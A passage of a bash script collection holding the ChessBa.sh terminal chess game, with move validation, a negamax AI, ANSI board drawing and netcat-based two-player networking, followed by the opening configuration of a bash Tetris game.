#	$2	column position
# Writes coordinates to stdout
function coord() {
	echo -en "\x$((48-$1))$(($2+1))"
}

# Get name of player
# Params:
#	$1	player
# Writes name to stdout
function namePlayer() {
	if (( $1 < 0 )) ; then
		if $color ; then
			echo -en "\e[3${colorPlayerA}m"
		fi
		if isAI "$1" ; then
			echo -n "$aiPlayerA"
		else
			echo -n "$namePlayerA"
		fi
	else
		if $color ; then
			echo -en "\e[3${colorPlayerB}m"
		fi
		if isAI "$1" ; then
			echo -n "$aiPlayerB"
		else
			echo -n "$namePlayerB"
		fi
	fi
	if $color ; then
		echo -en "\e[0m"
	fi
}

# Get name of figure
# Params:
#	$1	figure
# Writes name to stdout
function nameFigure() {
	if (( $1 < 0 )) ; then
		echo -n "${figNames[$1*(-1)]}"
	else
		echo -n "${figNames[$1]}"
	fi
}

# Check win/loose position
# (player has king?)
# Params:
#	$1	player
# Return status code 1 if no king
function hasKing() {
	local player=$1;
	local x
	local y
	for (( y=0;y<8;y++ )) ; do
		for (( x=0;x<8;x++ )) ; do
			if (( ${field[$y,$x]} * player == 6 )) ; then
				return 0
			fi
		done
	done
	return 1
}

# Check validity of a concrete single movement
# Params:
#	$1	origin Y position
#	$2	origin X position
#	$3	target Y position
#	$4	target X position
#	$5	current player
# Returns status code 0 if move is valid
function canMove() {
	local fromY=$1
	local fromX=$2
	local toY=$3
	local toX=$4
	local player=$5

	local i
	if (( fromY < 0 || fromY >= 8 || fromX < 0 || fromX >= 8 || toY < 0 || toY >= 8 || toX < 0 || toX >= 8 || ( fromY == toY && fromX == toX ) )) ; then
		return 1
	fi
	local from=${field[$fromY,$fromX]}
	local to=${field[$toY,$toX]}
	local fig=$(( from * player ))
	if (( from == 0 || from * player < 0 || to * player > 0 || player * player != 1 )) ; then
		return 1
	# pawn
	elif (( fig == 1 )) ; then
		if (( fromX == toX && to == 0 && ( toY - fromY == player || ( toY - fromY == 2 * player && ${field["$((player + fromY)),$fromX"]} == 0 && fromY == ( player > 0 ? 1 : 6 ) ) ) )) ; then
				return 0
			else
				return $(( ! ( (fromX - toX) * (fromX - toX) == 1 && toY - fromY == player && to * player < 0 ) ))
		fi
	# queen, rock and bishop
	elif (( fig == 5 || fig == 4  || fig == 3 )) ; then
		# rock - and queen
		if (( fig != 3 )) ; then
			if (( fromX == toX )) ; then
				for (( i = ( fromY < toY ? fromY : toY ) + 1 ; i < ( fromY > toY ? fromY : toY ) ; i++ )) ; do
					if (( ${field[$i,$fromX]} != 0 )) ; then
						return 1
					fi
				done
				return 0
			elif (( fromY == toY )) ; then
				for (( i = ( fromX < toX ? fromX : toX ) + 1 ; i < ( fromX > toX ? fromX : toX ) ; i++ )) ; do
						if (( ${field[$fromY,$i]} != 0 )) ; then
							return 1
						fi
				done
				return 0
			fi
		fi
		# bishop - and queen
		if (( fig != 4 )) ; then
			if (( ( fromY - toY ) * ( fromY - toY ) != ( fromX - toX ) * ( fromX - toX ) )) ; then
				return 1
			fi
			for (( i = 1 ; i < ( $fromY > toY ? fromY - toY : toY - fromY) ; i++ )) ; do
				if (( ${field[$((fromY + i * (toY - fromY > 0 ? 1 : -1 ) )),$(( fromX + i * (toX - fromX > 0 ? 1 : -1 ) ))]} != 0 )) ; then
					return 1
				fi
			done
			return 0
		fi
		# nothing found? wrong move.
		return 1
	# knight
	elif (( fig == 2 )) ; then
		return $(( ! ( ( ( fromY - toY == 2 || fromY - toY == -2) && ( fromX - toX == 1 || fromX - toX == -1 ) ) || ( ( fromY - toY == 1 || fromY - toY == -1) && ( fromX - toX == 2 || fromX - toX == -2 ) ) ) ))
	# king
	elif (( fig == 6 )) ; then
		return $(( !( ( ( fromX - toX ) * ( fromX - toX ) ) <= 1 &&  ( ( fromY - toY ) * ( fromY - toY ) ) <= 1 ) ))
	# invalid figure
	else
		error "Invalid figure '$from'!"
		exit 1
	fi
}

# minimax (game theory) algorithm for evaluate possible movements
# (the heart of your computer enemy)
# currently based on negamax with alpha/beta pruning and transposition tables liked described in
# http://en.wikipedia.org/wiki/Negamax#NegaMax_with_Alpha_Beta_Pruning_and_Transposition_Tables
# Params:
#	$1	current search depth
#	$2	alpha (for pruning)
#	$3	beta (for pruning)
#	$4	current moving player
#	$5	preserves the best move (for ai) if true
# Returns best value as status code
function negamax() {
	local depth=$1
	local a=$2
	local b=$3
	local player=$4
	local save=$5
	# transposition table
	local aSave=$a
	local hash
	hash="$player ${field[@]}"
	if ! $save && test "${cacheLookup[$hash]+set}" && (( ${cacheDepth[$hash]} >= depth )) ; then
		local value=${cacheLookup[$hash]}
		local flag=${cacheFlag[$hash]}
		if (( flag == 0 )) ; then
			return $value
		elif (( flag == 1 && value > a )) ; then
			a=$value
		elif (( flag == -1 && value < b )) ; then
			b=$value
		fi
		if (( a >= b )) ; then
			return $value
		fi
	fi
	# lost own king?
	if ! hasKing "$player" ; then
		cacheLookup[$hash]=$(( strength - depth + 1 ))
		cacheDepth[$hash]=$depth
		cacheFlag[$hash]=0
		return $(( strength - depth + 1 ))
	# use heuristics in depth
	elif (( depth <= 0 )) ; then
		local values=0
		for (( y=0; y<8; y++ )) ; do
			for (( x=0; x<8; x++ )) ; do
				local fig=${field[$y,$x]}
				if (( ${field[$y,$x]} != 0 )) ; then
					local figPlayer=$(( fig < 0 ? -1 : 1 ))
					# a more simple heuristic would be values=$(( $values + $fig ))
					(( values += ${figValues[$fig * $figPlayer]} * figPlayer ))
					# pawns near to end are better
					if (( fig == 1 )) ; then
						if (( figPlayer > 0 )) ; then
							(( values += ( y - 1 ) / 2 ))
						else
							(( values -= ( 6 + y ) / 2 ))
						fi
					fi
				fi
			done
		done
		values=$(( 127 + ( player * values ) ))
		# ensure valid bash return range
		if (( values > 253 - strength )) ; then
			values=$(( 253 - strength ))
		elif (( values < 2 + strength )) ; then
			values=$(( 2 + strength ))
		fi
		cacheLookup[$hash]=$values
		cacheDepth[$hash]=0
		cacheFlag[$hash]=0
		return $values
	# calculate best move
	else
		local bestVal=0
		local fromY
		local fromX
		local toY
		local toX
		local i
		local j
		for (( fromY=0; fromY<8; fromY++ )) ; do
			for (( fromX=0; fromX<8; fromX++ )) ; do
				local fig=$(( ${field[$fromY,$fromX]} * ( player ) ))
				# precalc possible fields (faster then checking every 8*8 again)
				local targetY=()
				local targetX=()
				local t=0
				# empty or enemy
				if (( fig <= 0 )) ; then
					continue
				# pawn
				elif (( fig == 1 )) ; then
					targetY[$t]=$(( player + fromY ))
					targetX[$t]=$(( fromX ))
					(( t += 1 ))
					targetY[$t]=$(( 2 * player + fromY ))
					targetX[$t]=$(( fromX ))
					(( t += 1 ))
					targetY[$t]=$(( player + fromY ))
					targetX[$t]=$(( fromX + 1 ))
					(( t += 1 ))
					targetY[$t]=$(( player + fromY ))
					targetX[$t]=$(( fromX - 1 ))
					(( t += 1 ))
				# knight
				elif (( fig == 2 )) ; then
					for (( i=-1 ; i<=1 ; i=i+2 )) ; do
						for (( j=-1 ; j<=1 ; j=j+2 )) ; do
							targetY[$t]=$(( fromY + 1 * i ))
							targetX[$t]=$(( fromX + 2 * j ))
							(( t + 1 ))
							targetY[$t]=$(( fromY + 2 * i ))
							targetX[$t]=$(( fromX + 1 * j ))
							(( t + 1 ))
						done
					done
				# king
				elif (( fig == 6 )) ; then
					for (( i=-1 ; i<=1 ; i++ )) ; do
						for (( j=-1 ; j<=1 ; j++ )) ; do
							targetY[$t]=$(( fromY + i ))
							targetX[$t]=$(( fromX + j ))
							(( t += 1 ))
						done
					done
				else
					# bishop or queen
					if (( fig != 4 )) ; then
						for (( i=-8 ; i<=8 ; i++ )) ; do
							if (( i != 0 )) ; then
								# can be done nicer but avoiding two loops!
								targetY[$t]=$(( fromY + i ))
								targetX[$t]=$(( fromX + i ))
								(( t += 1 ))
								targetY[$t]=$(( fromY - i ))
								targetX[$t]=$(( fromX - i ))
								(( t += 1 ))
								targetY[$t]=$(( fromY + i ))
								targetX[$t]=$(( fromX - i ))
								(( t += 1 ))
								targetY[$t]=$(( fromY - i ))
								targetX[$t]=$(( fromX + i ))
								(( t += 1 ))
							fi
						done
					fi
					# rock or queen
					if (( fig != 3 )) ; then
						for (( i=-8 ; i<=8 ; i++ )) ; do
							if (( i != 0 )) ; then
								targetY[$t]=$(( fromY + i ))
								targetX[$t]=$(( fromX ))
								(( t += 1 ))
								targetY[$t]=$(( fromY - i ))
								targetX[$t]=$(( fromX ))
								(( t += 1 ))
								targetY[$t]=$(( fromY ))
								targetX[$t]=$(( fromX + i ))
								(( t += 1 ))
								targetY[$t]=$(( fromY ))
								targetX[$t]=$(( fromX - i ))
								(( t += 1 ))
							fi
						done
					fi
				fi
				# process all available moves
				for (( j=0; j < t; j++ )) ; do
					local toY=${targetY[$j]}
					local toX=${targetX[$j]}
					# move is valid
					if (( toY >= 0 && toY < 8 && toX >= 0 && toX < 8 )) &&  canMove "$fromY" "$fromX" "$toY" "$toX" "$player" ; then
						local oldFrom=${field[$fromY,$fromX]};
						local oldTo=${field[$toY,$toX]};
						field[$fromY,$fromX]=0
						field[$toY,$toX]=$oldFrom
						# pawn to queen
						if (( oldFrom == player && toY == ( player > 0 ? 7 : 0 ) )) ;then
							field["$toY,$toX"]=$(( 5 * player ))
						fi
						# recursion
						negamax $(( depth - 1 )) $(( 255 - b )) $(( 255 - a )) $(( player * (-1) )) false
						local val=$(( 255 - $? ))
						field[$fromY,$fromX]=$oldFrom
						field[$toY,$toX]=$oldTo
						if (( val > bestVal )) ; then
							bestVal=$val
							if $save ; then
								selectedX=$fromX
								selectedY=$fromY
								selectedNewX=$toX
								selectedNewY=$toY
							fi
						fi
						if (( val > a )) ; then
							a=$val
						fi
						if (( a >= b )) ; then
							break 3
						fi
					fi
				done
			done
		done
		cacheLookup[$hash]=$bestVal
		cacheDepth[$hash]=$depth
		if (( bestVal <= aSave )) ; then
			cacheFlag[$hash]=1
		elif (( bestVal >= b )) ; then
			cacheFlag[$hash]=-1
		else
			cacheFlag[$hash]=0
		fi
		return $bestVal
	fi
}

# Perform a concrete single movement
# Params:
# 	$1	current player
# Globals:
#	$selectedY
#	$selectedX
#	$selectedNewY
#	$selectedNewX
# Return status code 0 if movement was successfully performed
function move() {
	local player=$1
	if canMove "$selectedY" "$selectedX" "$selectedNewY" "$selectedNewX" "$player" ; then
		local fig=${field[$selectedY,$selectedX]}
		field[$selectedY,$selectedX]=0
		field[$selectedNewY,$selectedNewX]=$fig
		# pawn to queen
		if (( fig == player && selectedNewY == ( player > 0 ? 7 : 0 ) )) ; then
			field[$selectedNewY,$selectedNewX]=$(( 5 * player ))
		fi
		return 0
	fi
	return 1
}

# Unicode helper function (for draw)
# Params:
#	$1	first hex unicode character number
#	$2	second hex unicode character number
#	$3	third hex unicode character number
#	$4	integer offset of third hex
# Outputs escape character
function unicode() {
	if ! $ascii ; then
		printf '\\x%s\\x%s\\x%x' "$1" "$2" "$(( 0x$3 + ( $4 ) ))"
	fi
}

# Ascii helper function (for draw)
# Params:
#	$1	decimal ascii character number
# Outputs escape character
function ascii() {
	echo -en "\x$1"
}

# Get ascii code number of character
# Params:
#	$1	ascii character
# Outputs decimal ascii character number
function ord() {
	LC_CTYPE=C printf '%d' "'$1"
}

# Audio and visual bell
# No params or return
function bell() {
	if (( lastBell != SECONDS )) ; then
		echo -en "\a\e[?5h"
		sleep 0.1
		echo -en "\e[?5l"
		lastBell=$SECONDS
	fi
}

# Draw one field (of the gameboard)
# Params:
#	$1	y coordinate
#	$2	x coordinate
#	$3	true if cursor should be moved to position
# Outputs formated field content
function drawField(){
	local y=$1
	local x=$2
	echo -en "\e[0m"
	# move coursor to absolute position
	if $3 ; then
		local yScr=$(( y + originY ))
		local xScr=$(( x * 2 + originX ))
		if $ascii && (( x >= 0 )) ; then
			local xScr=$(( x * 3 + originX ))
		fi
		echo -en "\e[${yScr};${xScr}H"
	fi
	# draw vertical labels
	if (( x==labelX && y >= 0 && y < 8)) ; then
		if $hoverInit && (( hoverY == y )) ; then
			if $color ; then
				echo -en "\e[3${colorHover}m"
			else
				echo -en "\e[4m"
			fi
		elif (( selectedY == y )) ; then
			if ! $color ; then
				echo -en "\e[2m"
			elif (( ${field[$selectedY,$selectedX]} < 0 )) ; then
				echo -en "\e[3${colorPlayerA}m"
			else
				echo -en "\e[3${colorPlayerB}m"
			fi
		fi
		# line number (alpha numeric)
		if $unicodelabels ; then
			echo -en "$(unicode e2 92 bd -$y) "
		else
			echo -en " \x$((48 - $y))"
		fi
		# clear format
	# draw horizontal labels
	elif (( x>=0 && y==labelY )) ; then
		if $hoverInit && (( hoverX == x )) ; then
			if $color ; then
				echo -en "\e[3${colorHover}m"
			else
				echo -en "\e[4m"
			fi
		elif (( selectedX == x )) ; then
			if ! $color ; then
				echo -en "\e[2m"
			elif (( ${field[$selectedY,$selectedX]} < 0 )) ; then
				echo -en "\e[3${colorPlayerA}m"
			else
				echo -en "\e[3${colorPlayerB}m"
			fi
		else
			echo -en "\e[0m"
		fi
		if $unicodelabels ; then
			echo -en "$(unicode e2 9e 80 $x )\e[0m "
		else
			if $ascii ; then
				echo -n " "
			fi
			echo -en "\x$((31 + $x))\e[0m "
		fi
	# draw field
	elif (( y >=0 && y < 8 && x >= 0 && x < 8 )) ; then
		local f=${field["$y,$x"]}
		local black=false
		if (( ( x + y ) % 2 == 0 )) ; then
			local black=true
		fi
		# black/white fields
		if $black ; then
			if $color ; then
				echo -en "\e[47;107m"
			else
				echo -en "\e[7m"
			fi
		else
			$color && echo -en "\e[40m"
		fi
		# background
		if $hoverInit && (( hoverX == x && hoverY == y )) ; then
			if ! $color ; then
				echo -en "\e[4m"
			elif $black ; then
				echo -en "\e[4${colorHover};10${colorHover}m"
			else
				echo -en "\e[4${colorHover}m"
			fi
		elif (( selectedX != -1 && selectedY != -1 )) ; then
			local selectedPlayer=$(( ${field[$selectedY,$selectedX]} > 0 ? 1 : -1 ))
			if (( selectedX == x && selectedY == y )) ; then
				if ! $color ; then
					echo -en "\e[2m"
				elif $black ; then
					echo -en "\e[47m"
				else
					echo -en "\e[40;100m"
				fi
			elif $color && $colorHelper && canMove "$selectedY" "$selectedX" "$y" "$x" "$selectedPlayer" ; then
				if $black ; then
					if (( selectedPlayer < 0 )) ; then
						echo -en "\e[4${colorPlayerA};10${colorPlayerA}m"
					else
						echo -en "\e[4${colorPlayerB};10${colorPlayerB}m"
					fi
				else
					if (( selectedPlayer < 0 )) ; then
						echo -en "\e[4${colorPlayerA}m"
					else
						echo -en "\e[4${colorPlayerB}m"
					fi
				fi
			fi
		fi
		# empty field?
		if ! $ascii && (( f == 0 )) ; then
			echo -en "  "
		else
			# figure colors
			if $color ; then
				if (( selectedX == x && selectedY == y )) ; then
					if (( f < 0 )) ; then
						echo -en "\e[3${colorPlayerA}m"
					else
						echo -en "\e[3${colorPlayerB}m"
					fi
				else
					if (( f < 0 )) ; then
						echo -en "\e[3${colorPlayerA};9${colorPlayerA}m"
					else
						echo -en "\e[3${colorPlayerB};9${colorPlayerB}m"
					fi
				fi
			fi
			# unicode figures
			if $ascii ; then
				echo -en " \e[1m${asciiNames[ $f + 6 ]} "
			elif (( f > 0 )) ; then
				if $color && $colorFill ; then
					echo -en "$( unicode e2 99 a0 -$f ) "
				else
					echo -en "$( unicode e2 99 9a -$f ) "
				fi
			else
				echo -en "$( unicode e2 99 a0 $f ) "
			fi
		fi
	# three empty chars
	elif $ascii && (( x >= 0 )) ; then
		echo -n "   "
	# otherwise: two empty chars (on unicode boards)
	else
		echo -n "  "
	fi
	# clear format
	echo -en "\e[0m\e[8m"
}

# Draw the battlefield
# (no params / return value)
function draw() {
	local ty
	local tx
	$useStty && stty -echo
	$cursor || echo -e "\e[2J"
	echo -e "\e[H\e[?25l\e[0m\n\e[K$title\e[0m\n\e[K"
	for (( ty=0; ty<10; ty++ )) ; do
		for (( tx=-2; tx<8; tx++ )) ; do
			if $cursor ; then
				local t
				t="$(drawField "$ty" "$tx" true)"
				if [[ "${redraw[$ty,$tx]}" != "$t" ]]; then
					echo -n "$t"
					redraw[$ty,$tx]="$t"
					log="[$ty,$tx]"
				fi
			else
				drawField "$ty" "$tx" false
			fi
		done
		$cursor || echo ""
	done
	$useStty && stty echo
	# clear format
	echo -en "\e[0m\e[$(( originY + 10 ));0H\e[2K\n\e[2K$message\e[8m"
}

# Read the next move coordinates
# from keyboard (direct access or cursor keypad)
# or use mouse input (if available)
# Returns 0 on success and 1 on abort
function inputCoord(){
	inputY=-1
	inputX=-1
	local ret=0
	local t
	local tx
	local ty
	local oldHoverX=$hoverX
	local oldHoverY=$hoverY
	IFS=''
	$useStty && stty echo
	if $mouse ; then
		echo -en "\e[?9h"
	fi
	while (( inputY < 0 || inputY >= 8 || inputX < 0  || inputX >= 8 )) ; do
		read -sN1 a
		case "$a" in
			$'\e' )
				if read -t0.1 -sN2 b ; then
					case "$b" in
						'[A' | 'OA' )
							hoverInit=true
							if (( --hoverY < 0 )) ; then
								hoverY=0
								bell
							fi
							;;
						'[B' | 'OB' )
							hoverInit=true
							if (( ++hoverY > 7 )) ; then
								hoverY=7
								bell
							fi
							;;
						'[C' | 'OC' )
							hoverInit=true
							if (( ++hoverX > 7 )) ; then
								hoverX=7
								bell
							fi
							;;
						'[D' | 'OD' )
							hoverInit=true
							if (( --hoverX < 0 )) ; then
								hoverX=0
								bell
							fi
							;;
						'[3' )
							ret=1
							bell
							break
							;;
						'[5' )
							hoverInit=true
							if (( hoverY == 0 )) ; then
								bell
							else
								hoverY=0
							fi
							;;
						'[6' )
							hoverInit=true
							if (( hoverY == 7 )) ; then
								bell
							else
								hoverY=7
							fi
							;;
						'OH' )
							hoverInit=true
							if (( hoverX == 0 )) ; then
								bell
							else
								hoverX=0
							fi
							;;
						'OF' )
							hoverInit=true
							if (( hoverX == 7 )) ; then
								bell
							else
								hoverX=7
							fi
							;;
						'[M' )
							read -sN1 t
							read -sN1 tx
							read -sN1 ty
							ty=$(( $(ord "$ty") - 32 - originY ))
							if $ascii ; then
								tx=$(( ( $(ord "$tx") - 32 - originX) / 3 ))
							else
								tx=$(( ( $(ord "$tx") - 32 - originX) / 2 ))
							fi
							if (( tx >= 0 && tx < 8 && ty >= 0 && ty < 8 )) ; then
								inputY=$ty
								inputX=$tx
								hoverY=$ty
								hoverX=$tx
							else
								ret=1
								bell
								break
							fi
							;;
						* )
							bell
					esac
				else
					ret=1
					bell
					break
				fi
				;;
			$'\t' | $'\n' | ' ' )
				if $hoverInit ; then
					inputY=$hoverY
					inputX=$hoverX
				fi
				;;
			'~' )
				;;
			$'\x7f' | $'\b' )
				ret=1
				bell
				break
				;;
			[A-Ha-h] )
				t=$(ord $a)
				if (( t < 90 )) ; then
					inputY=$(( 72 - $(ord $a) ))
				else
					inputY=$(( 104 - $(ord $a) ))
				fi
				hoverY=$inputY
				;;
			[1-8] )
				inputX=$(( a - 1 ))
				hoverX=$inputX
				;;
			* )
				bell
				;;
		esac
		if $hoverInit && (( oldHoverX != hoverX || oldHoverY != hoverY )) ; then
			oldHoverX=$hoverX
			oldHoverY=$hoverY
			draw
		fi
	done
	if $mouse ; then
		echo -en "\e[?9l"
	fi
	$useStty && stty -echo
	return $ret
}

# Player input
# (reads a valid user movement)
# Params
# 	$1	current (user) player
# Returns status code 0
function input() {
	local player=$1
	SECONDS=0
	message="\e[1m$(namePlayer "$player")\e[0m: Move your figure"
	while true ; do
		selectedY=-1
		selectedX=-1
		title="It's $(namePlayer "$player")s turn"
		draw >&3
		if inputCoord ; then
			selectedY=$inputY
			selectedX=$inputX
			if (( ${field["$selectedY,$selectedX"]} == 0 )) ; then
				warn "You cannot choose an empty field!" >&3
			elif (( ${field["$selectedY,$selectedX"]} * player  < 0 )) ; then
				warn "You cannot choose your enemies figures!" >&3
			else
				send "$player" "$selectedY" "$selectedX"
				local figName=$(nameFigure ${field[$selectedY,$selectedX]} )
				message="\e[1m$(namePlayer "$player")\e[0m: Move your \e[3m$figName\e[0m at $(coord "$selectedY" "$selectedX") to"
				draw >&3
				if inputCoord ; then
					selectedNewY=$inputY
					selectedNewX=$inputX
					if (( selectedNewY == selectedY && selectedNewX == selectedX )) ; then
						warn "You didn't move..." >&3
					elif (( ${field[$selectedNewY,$selectedNewX]} * $player > 0 )) ; then
						warn "You cannot kill your own figures!" >&3
					elif move "$player" ; then
						title="$(namePlayer "$player") moved the \e[3m$figName\e[0m from $(coord "$selectedY" "$selectedX") to $(coord "$selectedNewY" "$selectedNewX") \e[2m(took him $SECONDS seconds)\e[0m"
					send "$player" "$selectedNewY" "$selectedNewX"
						return 0
					else
						warn "This move is not allowed!" >&3
					fi
					# Same position again --> revoke
					send "$player" "$selectedY" "$selectedX"
				fi
			fi
		fi
	done
}

# AI interaction
# (calculating movement)
# Params
# 	$1	current (ai) player
# Verbose movement messages to stdout
function ai() {
	local player=$1
	local val
	SECONDS=0
	title="It's $(namePlayer "$player")s turn"
	message="Computer player \e[1m$(namePlayer "$player")\e[0m is thinking..."
	draw >&3
	negamax "$strength" 0 255 "$player" true
	val=$?
	local figName
	figName=$(nameFigure ${field[$selectedY,$selectedX]} )
	message="\e[1m$( namePlayer "$player" )\e[0m moves the \e[3m$figName\e[0m at $(coord "$selectedY" "$selectedX")..."
	draw >&3
	send "$player" "$selectedY" "$selectedX"
	sleep "$sleep"
	if move $player ; then
		message="\e[1m$( namePlayer "$player" )\e[0m moves the \e[3m$figName\e[0m at $(coord "$selectedY" "$selectedX") to $(coord "$selectedNewY" "$selectedNewX")"
		draw >&3
		send "$player" "$selectedNewY" "$selectedNewX"
		sleep "$sleep"
		title="$( namePlayer "$player" ) moved the $figName from $(coord "$selectedY" "$selectedX") to $(coord "$selectedNewY" "$selectedNewX" ) (took him $SECONDS seconds)."
	else
		error "AI produced invalid move - that should not hapen!"
	fi
}

# Read row from remote
# Returns row (0-7) as status code
function receiveY() {
	local i
	while true; do
		read -n 1 i
		case $i in
			[hH] ) return 0 ;;
			[gG] ) return 1 ;;
			[fF] ) return 2 ;;
			[eE] ) return 3 ;;
			[dD] ) return 4 ;;
			[cC] ) return 5 ;;
			[bB] ) return 6 ;;
			[aA] ) return 7 ;;
			* )
				if $warnings ; then
					warn "Invalid input '$i' for row from network (character between 'A' and 'H' required)!"
				fi
		esac
	done
}

# Read column from remote
# Returns column (0-7) as status code
function receiveX() {
	local i
	while true; do
		read -n 1 i
		case $i in
			[1-8] ) return $(( i - 1 )) ;;
			* )
				if $warnings ; then
					warn "Invalid input '$i' for column from network (character between '1' and '8' required)!"
				fi
		esac
	done
}

# receive movement from connected player
# (no params/return value)
function receive() {
	local player=$remote
	SECONDS=0
	title="It's $(namePlayer "$player")s turn"
	message="Network player \e[1m$(namePlayer "$player")\e[0m is thinking... (or sleeping?)"
	draw >&3
	while true ; do
		receiveY
		selectedY=$?
		receiveX
		selectedX=$?
		local figName
		figName=$(nameFigure ${field[$selectedY,$selectedX]} )
		message"\e[1m$( namePlayer "$player" )\e[0m moves the \e[3m$figName\e[0m at $(coord $selectedY $selectedX)..."
		draw >&3
		receiveY
		selectedNewY=$?
		receiveX
		selectedNewX=$?
		if (( selectedNewY == selectedY && selectedNewX == selectedX )) ; then
			selectedY=-1
			selectedX=-1
			selectedNewY=-1
			selectedNewX=-1
			message="\e[1m$( namePlayer "$player" )\e[0m revoked his move... okay, that'll be time consuming"
			draw >&3
		else
			break
		fi
	done
	if move $player ; then
		message="\e[1m$( namePlayer "$player" )\e[0m moves the \e[3m$figName\e[0m at $(coord $selectedY $selectedX) to $(coord $selectedNewY $selectedNewX)"
		draw >&3
		sleep "$sleep"
		title="$( namePlayer $player ) moved the $figName from $(coord $selectedY $selectedX) to $(coord $selectedNewY $selectedNewX) (took him $SECONDS seconds)."
	else
		error "Received invalid move from network - that should not hapen!"
	fi
}

# Write coordinates to network
# Params:
#	$1	player
#	$2	row
#	$3	column
# (no return value/exit code)
function send() {
	local player=$1
	local y=$2
	local x=$3
	if (( remote == player * (-1) )) ; then
		sleep "$remotedelay"
		coord "$y" "$x"
		echo
		sleep "$remotedelay"
	fi
}

# Import transposition tables
# by reading serialised cache from stdin
# (no params / return value)
function importCache() {
	while IFS=$'\t' read hash lookup depth flag ; do
		cacheLookup["$hash"]=$lookup
		cacheDepth["$hash"]=$depth
		cacheFlag["$hash"]=$flag
	done
}

# Export transposition tables
# Outputs serialised cache (to stdout)
# (no params / return value)
function exportCache() {
	for hash in "${!cacheLookup[@]}" ; do
		echo -e "$hash\t${cacheLookup[$hash]}\t${cacheDepth[$hash]}\t${cacheFlag[$hash]}"
	done
}

# Trap function for exporting cache
# (no params / return value)
function exitCache() {
	# permanent cache: export
	if [[ -n "$cache" ]] ; then
		echo -en "\r\n\e[2mExporting cache..." >&3
		if $cachecompress ; then
			exportCache | gzip > "$cache"
		else
			exportCache > "$cache"
		fi
		echo -e " done!\e[0m" >&3
	fi
}

# Perform necessary tasks for exit
# like deleting files and measuring runtime
# (no params / return value)
function end() {
	# remove pipe
	if [[ -n "$fifopipe" && -p "$fifopipe" ]] ; then
		rm "$fifopipe"
	fi
	# disable mouse
	if $mouse ; then
		echo -en "\e[?9l"
	fi
	# enable input
	stty echo
	# restore screen
	if $cursor ; then
		echo -en "\e[2J\e[?47l\e[?25h\e[u\e8"
	fi
	# exit message
	duration=$(( $( date +%s%N ) - timestamp ))
	seconds=$(( duration / 1000000000 ))
	echo -e "\r\n\e[2mYou've wasted $seconds,$(( duration -( seconds * 1000000000 ))) seconds of your lifetime playing with a Bash script.\e[0m\n"
}

# Exit trap
trap "end" 0

# setting up requirements for network
piper="cat"
fifopipe="/dev/fd/1"
initializedGameLoop=true
if (( remote != 0 )) ; then
	require nc
	require mknod
	initializedGameLoop=false
	if (( remote == 1 )) ; then
		fifopipe="$fifopipeprefix.server"
		piper="nc -l $port"
	else
		fifopipe="$fifopipeprefix.client"
		piper="nc $remoteip $port"
		echo -e "\e[1mWait!\e[0mPlease make sure the Host (the other Player) has started before continuing.\e[0m"
		anyKey
	fi
	if [[ ! -e "$fifopipe" ]] ; then
		mkfifo "$fifopipe"
	fi
	if [[ ! -p "$fifopipe" ]] ; then
		echo "Could not create FIFO pipe '$fifopipe'!" >&2
	fi
fi

# print welcome title
title="Welcome to ChessBa.sh"
if isAI "1" || isAI "-1" ; then
	title="$title - your room heater tool!"
fi

# permanent cache: import
if [[ -n "$cache" && -f "$cache" ]] ; then
	echo -en "\n\n\e[2mImporting cache..."
	if $cachecompress ; then
		importCache < <( zcat "$cache" )
	else
		importCache < "$cache"
	fi
	echo -e " done\e[0m"
fi

# main game loop
{
	p=1
	while true ; do
		# initialize remote connection on first run
		if ! $initializedGameLoop ; then
			# set cache export trap
			trap "exitCache" 0
			warn "Waiting for the other network player to be ready..." >&3
			# exchange names
			if (( remote == -1 )) ; then
				read namePlayerA < $fifopipe
				echo "$namePlayerB"
				echo "connected with first player." >&3
			elif (( remote == 1 )) ; then
				echo "$namePlayerA"
				read namePlayerB < $fifopipe
				echo "connected with second player." >&3
			fi
			# set this loop initialized
			initializedGameLoop=true
		fi
		# reset global variables
		selectedY=-1
		selectedX=-1
		selectedNewY=-1
		selectedNewX=-1
		# switch current player
		(( p *= (-1) ))
		# check check (or: if the king is lost)
		if hasKing "$p" ; then
			if (( remote == p )) ; then
				receive < $fifopipe
			elif isAI "$p" ; then
				if (( computer-- == 0 )) ; then
					echo "Stopping - performed all ai steps" >&3
					exit 0
				fi
				ai "$p"
			else
				input "$p"
			fi
		else
			title="Game Over!"
			message="\e[1m$(namePlayer $(( p * (-1) )) ) wins the game!\e[1m\n"
			draw >&3
			anyKey
			exit 0
		fi
	done | $piper > "$fifopipe"

	# check exit code
	netcatExit=$?
	gameLoopExit=${PIPESTATUS[0]}
	if (( netcatExit != 0 )) ; then
		error "Network failure!"
	elif (( gameLoopExit != 0 )) ; then
		error "The game ended unexpected!"
	fi
} 3>&1
}

##
#   - Pass time tetris
##

tetris_game() {
# Tetris game written in pure bash
#
# I tried to mimic as close as possible original tetris game
# which was implemented on old soviet DVK computers (PDP-11 clones)
#
# Videos of this tetris can be found here:
#
# http://www.youtube.com/watch?v=O0gAgQQHFcQ
# http://www.youtube.com/watch?v=iIQc1F3UuV4
#
# This script was created on ubuntu 13.04 x64 and bash 4.2.45(1)-release.
# It was not tested on other unix like operating systems.
#
# Enjoy :-)!
#
# Author: Kirill Timofeev <kt97679@gmail.com>

set -u # non initialized variable is an error

# 2 signals are used: SIGUSR1 to decrease delay after level up and SIGUSR2 to quit
# they are sent to all instances of this script
# because of that we should process them in each instance
# in this instance we are ignoring both signals
trap '' SIGUSR1 SIGUSR2

# Those are commands sent to controller by key press processing code
# In controller they are used as index to retrieve actual functuon from array
QUIT=0
RIGHT=1
LEFT=2
ROTATE=3
DOWN=4
DROP=5
TOGGLE_HELP=6
TOGGLE_NEXT=7
TOGGLE_COLOR=8
DELAY=1          # initial delay between piece movements
DELAY_FACTOR=0.8 # this value controld delay decrease for each level up

# color codes
RED=1
GREEN=2
YELLOW=3
BLUE=4
FUCHSIA=5
CYAN=6
WHITE=7

# Location and size of playfield, color of border
PLAYFIELD_W=10
PLAYFIELD_H=20
PLAYFIELD_X=30
PLAYFIELD_Y=1
BORDER_COLOR=$YELLOW

# Location and color of score information
SCORE_X=1
SCORE_Y=2
SCORE_COLOR=$GREEN

# Location and color of help information
HELP_X=58
HELP_Y=1
HELP_COLOR=$CYAN

# Next piece location
NEXT_X=14
NEXT_Y=11

# Location of "game over" in the end of the game
GAMEOVER_X=1
GAMEOVER_Y=$((PLAYFIELD_H + 3))

# Intervals after which game level (and game speed) is increased 
LEVEL_UP=20
colors=($RED $GREEN $YELLOW $BLUE $FUCHSIA $CYAN $WHITE)
no_color=true    # do we use color or not
